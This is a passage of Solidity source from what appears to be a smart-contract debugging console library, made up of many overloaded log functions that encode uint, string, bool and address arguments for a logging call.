_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { 